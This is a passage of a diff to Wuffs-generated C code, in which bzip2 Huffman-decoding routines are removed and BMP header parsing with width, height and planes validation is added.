8u; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ if (self->private_data.s_do_decode_image_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_do_decode_image_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_do_decode_image_config.scratch; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ uint32_t t_1; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ while (true) { - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint8_t t_2 = *iop_a_src++; -- v_c = t_2; -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; -+ if (num_bits_1 == 24) { -+ t_1 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_1 += 8u; -+ *scratch |= ((uint64_t)(num_bits_1)) << 56; - } -- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); -- self->private_impl.f_n_bits = 8u; - } -- self->private_impl.f_original_pointer <<= 1u; -- self->private_impl.f_original_pointer |= (self->private_impl.f_bits >> 31u); -- self->private_impl.f_bits <<= 1u; -- self->private_impl.f_n_bits -= 1u; -- v_i += 1u; -+ self->private_impl.f_padding = t_1; - } -- v_i = 0u; -- while (v_i < 256u) { -- self->private_data.f_presence[v_i] = 0u; -- v_i += 1u; -+ if (self->private_impl.f_padding < 14u) { -+ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); -+ goto exit; - } -- v_i = 0u; -- while (v_i < 256u) { -- if (self->private_impl.f_n_bits <= 0u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ self->private_impl.f_padding -= 14u; -+ self->private_impl.f_io_redirect_pos = wuffs_base__u64__sat_add(((uint64_t)(self->private_impl.f_padding)), wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ uint32_t t_2; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ while (true) { - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint8_t t_3 = *iop_a_src++; -- v_c = t_3; -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; -+ if (num_bits_2 == 24) { -+ t_2 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_2 += 8u; -+ *scratch |= ((uint64_t)(num_bits_2)) << 56; - } -- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); -- self->private_impl.f_n_bits = 8u; -- } -- if ((self->private_impl.f_bits >> 31u) != 0u) { -- self->private_data.f_presence[v_i] = 1u; - } -- self->private_impl.f_bits <<= 1u; -- self->private_impl.f_n_bits -= 1u; -- v_i += 16u; -+ self->private_impl.f_bitmap_info_len = t_2; - } -- self->private_data.f_scratch = 0u; -- v_i = 0u; -- while (v_i < 256u) { -- if (self->private_data.f_presence[v_i] == 0u) { -- v_i += 16u; -- continue; -- } -- while (true) { -- if (self->private_impl.f_n_bits <= 0u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ if (self->private_impl.f_padding < self->private_impl.f_bitmap_info_len) { -+ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); -+ goto exit; -+ } -+ self->private_impl.f_padding -= self->private_impl.f_bitmap_info_len; -+ if (self->private_impl.f_bitmap_info_len == 12u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ uint32_t t_3; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_3 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -+ while (true) { - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint8_t t_4 = *iop_a_src++; -- v_c = t_4; -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; -+ if (num_bits_3 == 8) { -+ t_3 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_3 += 8u; -+ *scratch |= ((uint64_t)(num_bits_3)) << 56; - } -- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); -- self->private_impl.f_n_bits = 8u; -- } -- self->private_data.f_scratch += (self->private_impl.f_bits >> 31u); -- self->private_data.f_presence[(v_i & 255u)] = ((uint8_t)((self->private_impl.f_bits >> 31u))); -- self->private_impl.f_bits <<= 1u; -- self->private_impl.f_n_bits -= 1u; -- v_i += 1u; -- if ((v_i & 15u) == 0u) { -- break; - } -+ self->private_impl.f_width = t_3; - } -- } -- if ((self->private_data.f_scratch < 1u) || (256u < self->private_data.f_scratch)) { -- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); -- goto exit; -- } -- self->private_impl.f_num_symbols = (self->private_data.f_scratch + 2u); -- self->private_data.f_scratch = 0u; -- v_i = 0u; -- while (v_i < 3u) { -- if (self->private_impl.f_n_bits <= 0u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -+ uint32_t t_4; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_4 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; -+ if (num_bits_4 == 8) { -+ t_4 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_4 += 8u; -+ *scratch |= ((uint64_t)(num_bits_4)) << 56; - } -- uint8_t t_5 = *iop_a_src++; -- v_c = t_5; - } -- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); -- self->private_impl.f_n_bits = 8u; -+ self->private_impl.f_height = t_4; - } -- self->private_data.f_scratch <<= 1u; -- self->private_data.f_scratch |= (self->private_impl.f_bits >> 31u); -- self->private_impl.f_bits <<= 1u; -- self->private_impl.f_n_bits -= 1u; -- v_i += 1u; -- } -- if ((self->private_data.f_scratch < 2u) || (6u < self->private_data.f_scratch)) { -- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); -- goto exit; -- } -- self->private_impl.f_num_huffman_codes = self->private_data.f_scratch; -- self->private_data.f_scratch = 0u; -- v_i = 0u; -- while (v_i < 15u) { -- if (self->private_impl.f_n_bits <= 0u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); -+ uint32_t t_5; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_5 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_5 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_5; -+ if (num_bits_5 == 8) { -+ t_5 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_5 += 8u; -+ *scratch |= ((uint64_t)(num_bits_5)) << 56; - } -- uint8_t t_6 = *iop_a_src++; -- v_c = t_6; - } -- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); -- self->private_impl.f_n_bits = 8u; -+ v_planes = t_5; - } -- self->private_data.f_scratch <<= 1u; -- self->private_data.f_scratch |= (self->private_impl.f_bits >> 31u); -- self->private_impl.f_bits <<= 1u; -- self->private_impl.f_n_bits -= 1u; -- v_i += 1u; -- } -- if ((self->private_data.f_scratch < 1u) || (18001u < self->private_data.f_scratch)) { -- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); -- goto exit; -- } -- self->private_impl.f_num_sections = self->private_data.f_scratch; -- v_i = 0u; -- while (v_i < self->private_impl.f_num_huffman_codes) { -- self->private_data.f_mtft[v_i] = ((uint8_t)(v_i)); -- v_i += 1u; -- } -- v_i = 0u; -- while (v_i < self->private_impl.f_num_sections) { -- v_selector = 0u; -- while (true) { -- if (self->private_impl.f_n_bits <= 0u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ if (v_planes != 1u) { -+ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); -+ uint32_t t_6; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_6 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); -+ while (true) { - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint8_t t_7 = *iop_a_src++; -- v_c = t_7; -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_6 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_6; -+ if (num_bits_6 == 8) { -+ t_6 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_6 += 8u; -+ *scratch |= ((uint64_t)(num_bits_6)) << 56; - } -- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); -- self->private_impl.f_n_bits = 8u; -- } -- if ((self->private_impl.f_bits >> 31u) == 0u) { -- self->private_impl.f_bits <<= 1u; -- self->private_impl.f_n_bits -= 1u; -- break; - } -- self->private_impl.f_bits <<= 1u; -- self->private_impl.f_n_bits -= 1u; -- v_selector += 1u; -- if (v_selector >= self->private_impl.f_num_huffman_codes) { -- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); -- goto exit; -+ self->private_impl.f_bits_per_pixel = t_6; -+ } -+ } else if (self->private_impl.f_bitmap_info_len == 16u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); -+ uint32_t t_7; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_7 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(17); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_7 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_7; -+ if (num_bits_7 == 24) { -+ t_7 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_7 += 8u; -+ *scratch |= ((uint64_t)(num_bits_7)) << 56; -+ } - } -+ v_width = t_7; - } -- if (v_selector == 0u) { -- self->private_data.f_huffman_selectors[v_i] = self->private_data.f_mtft[0u]; -- } else { -- v_sel_ff = (v_selector & 255u); -- v_movee = self->private_data.f_mtft[v_sel_ff]; -- wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_mtft, 1, (1u + v_sel_ff)), wuffs_base__make_slice_u8(self->private_data.f_mtft, v_sel_ff)); -- self->private_data.f_mtft[0u] = v_movee; -- self->private_data.f_huffman_selectors[v_i] = v_movee; -+ if (v_width > 2147483647u) { -+ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); -+ goto exit; -+ } else if (v_width > 16777215u) { -+ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); -+ goto exit; - } -- v_i += 1u; -- } -- v_i = 0u; -- while (v_i < self->private_impl.f_num_huffman_codes) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ self->private_impl.f_width = v_width; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(18); -+ uint32_t t_8; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_8 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(19); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_8 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_8; -+ if (num_bits_8 == 24) { -+ t_8 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_8 += 8u; -+ *scratch |= ((uint64_t)(num_bits_8)) << 56; -+ } -+ } -+ v_height = t_8; - } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -- status = wuffs_bzip2__decoder__read_code_lengths(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ if (v_height > 2147483647u) { -+ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); -+ goto exit; -+ } else if (v_height > 16777215u) { -+ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); -+ goto exit; - } -- if (status.repr) { -- goto suspend; -+ self->private_impl.f_height = v_height; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(20); -+ uint32_t t_9; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_9 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(21); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_9 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_9; -+ if (num_bits_9 == 8) { -+ t_9 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_9 += 8u; -+ *scratch |= ((uint64_t)(num_bits_9)) << 56; -+ } -+ } -+ v_planes = t_9; - } -- v_status = wuffs_bzip2__decoder__build_huffman_tree(self, v_i); -- if (wuffs_base__status__is_error(&v_status)) { -- status = v_status; -+ if (v_planes != 1u) { -+ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); - goto exit; - } -- wuffs_bzip2__decoder__build_huffman_table(self, v_i); -- v_i += 1u; -- } -- v_i = 0u; -- v_j = 0u; -- while (v_i < 256u) { -- if (self->private_data.f_presence[v_i] != 0u) { -- self->private_data.f_mtft[(v_j & 255u)] = ((uint8_t)(v_i)); -- v_j += 1u; -- } -- v_i += 1u; -- } -- v_i = 0u; -- while (v_i < 256u) { -- self->private_data.f_letter_counts[v_i] = 0u; -- v_i += 1u; -- } -- -- goto ok; -- ok: -- self->private_impl.p_prepare_block[0] = 0; -- goto exit; -- } -- -- goto suspend; -- suspend: -- self->private_impl.p_prepare_block[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_prepare_block[0].v_i = v_i; -- self->private_data.s_prepare_block[0].v_selector = v_selector; -- -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- -- return status; --} -- --// -------- func bzip2.decoder.read_code_lengths -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bzip2__decoder__read_code_lengths( -- wuffs_bzip2__decoder* self, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- uint8_t v_c = 0; -- uint32_t v_i = 0; -- uint32_t v_code_length = 0; -- -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -- -- uint32_t coro_susp_point = self->private_impl.p_read_code_lengths[0]; -- if (coro_susp_point) { -- v_i = self->private_data.s_read_code_lengths[0].v_i; -- v_code_length = self->private_data.s_read_code_lengths[0].v_code_length; -- } -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- self->private_impl.f_code_lengths_bitmask = 0u; -- v_i = 0u; -- while (v_i < 5u) { -- if (self->private_impl.f_n_bits <= 0u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); -+ uint32_t t_10; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_10 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(23); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_10 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_10; -+ if (num_bits_10 == 8) { -+ t_10 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_10 += 8u; -+ *scratch |= ((uint64_t)(num_bits_10)) << 56; - } -- uint8_t t_0 = *iop_a_src++; -- v_c = t_0; - } -- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); -- self->private_impl.f_n_bits = 8u; -+ self->private_impl.f_bits_per_pixel = t_10; - } -- v_code_length <<= 1u; -- v_code_length |= (self->private_impl.f_bits >> 31u); -- self->private_impl.f_bits <<= 1u; -- self->private_impl.f_n_bits -= 1u; -- v_i += 1u; -- } -- v_i = 0u; -- while (v_i < self->private_impl.f_num_symbols) { -- while (true) { -- if ((v_code_length < 1u) || (20u < v_code_length)) { -- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); -- goto exit; -- } -- if (self->private_impl.f_n_bits <= 0u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ } else { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(24); -+ uint32_t t_11; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_11 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(25); -+ while (true) { - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint8_t t_1 = *iop_a_src++; -- v_c = t_1; -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_11 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_11; -+ if (num_bits_11 == 24) { -+ t_11 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_11 += 8u; -+ *scratch |= ((uint64_t)(num_bits_11)) << 56; - } -- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); -- self->private_impl.f_n_bits = 8u; - } -- if ((self->private_impl.f_bits >> 31u) == 0u) { -- self->private_impl.f_bits <<= 1u; -- self->private_impl.f_n_bits -= 1u; -- break; -- } -- self->private_impl.f_bits <<= 1u; -- self->private_impl.f_n_bits -= 1u; -- if (self->private_impl.f_n_bits <= 0u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ v_width = t_11; -+ } -+ if (v_width > 2147483647u) { -+ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); -+ goto exit; -+ } else if (v_width > 16777215u) { -+ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); -+ goto exit; -+ } -+ self->private_impl.f_width = v_width; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(26); -+ uint32_t t_12; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_12 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(27); -+ while (true) { - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint8_t t_2 = *iop_a_src++; -- v_c = t_2; -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_12 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_12; -+ if (num_bits_12 == 24) { -+ t_12 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_12 += 8u; -+ *scratch |= ((uint64_t)(num_bits_12)) << 56; - } -- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); -- self->private_impl.f_n_bits = 8u; - } -- if ((self->private_impl.f_bits >> 31u) == 0u) { -- v_code_length += 1u; -+ v_height = t_12; -+ } -+ if (v_height == 2147483648u) { -+ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); -+ goto exit; -+ } else if (v_height > 2147483648u) { -+ v_height = ((uint32_t)(0u - v_height)); -+ if (v_height > 16777215u) { -+ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); -+ goto exit; -+ } -+ self->private_impl.f_height = v_height; -+ self->private_impl.f_top_down = true; -+ } else if (v_height > 16777215u) { -+ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); -+ goto exit; -+ } else { -+ self->private_impl.f_height = v_height; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(28); -+ uint32_t t_13; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_13 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; - } else { -- v_code_length -= 1u; -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(29); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_13 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_13; -+ if (num_bits_13 == 8) { -+ t_13 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_13 += 8u; -+ *scratch |= ((uint64_t)(num_bits_13)) << 56; -+ } - } -- self->private_impl.f_bits <<= 1u; -- self->private_impl.f_n_bits -= 1u; -+ v_planes = t_13; - } -- self->private_impl.f_code_lengths_bitmask |= (((uint32_t)(1u)) << (v_code_length & 31u)); -- self->private_data.f_bwt[v_i] = v_code_length; -- v_i += 1u; -- } -- -- goto ok; -- ok: -- self->private_impl.p_read_code_lengths[0] = 0; -- goto exit; -- } -- -- goto suspend; -- suspend: -- self->private_impl.p_read_code_lengths[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_read_code_lengths[0].v_i = v_i; -- self->private_data.s_read_code_lengths[0].v_code_length = v_code_length; -- -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- -- return status; --} -- --// -------- func bzip2.decoder.build_huffman_tree -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bzip2__decoder__build_huffman_tree( -- wuffs_bzip2__decoder* self, -- uint32_t a_which) { -- uint32_t v_code_length = 0; -- uint32_t v_symbol_index = 0; -- uint32_t v_num_branch_nodes = 0; -- uint32_t v_stack_height = 0; -- uint32_t v_stack_values[21] = {0}; -- uint32_t v_node_index = 0; -- uint16_t v_leaf_value = 0; -- -- self->private_data.f_huffman_trees[a_which][0u][0u] = 0u; -- self->private_data.f_huffman_trees[a_which][0u][1u] = 0u; -- v_num_branch_nodes = 1u; -- v_stack_height = 1u; -- v_stack_values[0u] = 0u; -- v_code_length = 1u; -- while (v_code_length <= 20u) { -- if ((self->private_impl.f_code_lengths_bitmask & (((uint32_t)(1u)) << v_code_length)) == 0u) { -- v_code_length += 1u; -- continue; -- } -- v_symbol_index = 0u; -- while (v_symbol_index < self->private_impl.f_num_symbols) { -- if (self->private_data.f_bwt[v_symbol_index] != v_code_length) { -- v_symbol_index += 1u; -- continue; -+ if (v_planes != 1u) { -+ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); -+ goto exit; - } -- while (true) { -- if (v_stack_height <= 0u) { -- return wuffs_base__make_status(wuffs_bzip2__error__bad_huffman_code_over_subscribed); -- } else if (v_stack_height >= v_code_length) { -- break; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(30); -+ uint32_t t_14; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_14 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(31); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { 